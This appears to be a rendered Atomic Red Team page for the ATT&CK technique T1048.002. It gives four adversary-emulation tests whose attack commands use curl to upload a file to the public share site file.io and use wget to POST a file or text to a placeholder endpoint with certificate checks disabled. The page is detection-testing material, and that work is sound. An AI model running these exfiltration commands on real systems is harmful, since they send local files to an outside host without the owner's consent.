T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Description from ATT&CK

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

Atomic Tests


Atomic Test #1 - Exfiltrate data HTTPS using curl windows

Exfiltrate data HTTPS using curl to file share site file.io

Supported Platforms: Windows

auto_generated_guid: 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | input_file | Test file to upload | path | PathToAtomicsFolder/T1048.002/src/artifact| | curl_path | path to curl.exe | path | C:\Windows\System32\Curl.exe|

Attack Commands: Run with
1
command_prompt
!

#{curl_path} -k -F "file=@#{input_file}" https://file.io/

Dependencies: Run with
1
powershell
!

Description: Curl must be installed on system.
Check Prereq Commands:
1
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
4
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://curl.se/windows/dl-8.4.0_6/curl-8.4.0_6-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-8.4.0_6-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
Description: #{input_file} must be exist on system.
Check Prereq Commands:
1
if (Test-Path "#{input_file}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "#{input_file}"



Atomic Test #2 - Exfiltrate data HTTPS using curl freebsd,linux or macos

Exfiltrate data HTTPS using curl to file share site file.io

Supported Platforms: macOS, Linux

auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | input_file | Test file to upload | path | PathToAtomicsFolder/T1048.002/src/artifact|

Attack Commands: Run with
1
bash
!

1
curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/



Atomic Test #3 - Exfiltrate data in a file over HTTPS using wget

Exfiltrate data over HTTPS using wget –post-file method

Supported Platforms: Linux

auto_generated_guid: 7ccdfcfa-6707-46bc-b812-007ab6ff951c

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | input_file | Test data to upload | path | PathToAtomicsFolder/T1048.002/src/artifact| | endpoint_domain | Endpoint to send data to | string | https://example.com/|

Attack Commands: Run with
1
sh
!

1
wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after



Atomic Test #4 - Exfiltrate data as text over HTTPS using wget

Exfiltrate data over HTTPS using wget –post-data method

Supported Platforms: Linux

auto_generated_guid: 8bec51da-7a6d-4346-b941-51eca448c4b0

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | endpoint_domain | Endpoint to send data to | string | https://example.com/|

Attack Commands: Run with
1
sh
!

1
wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after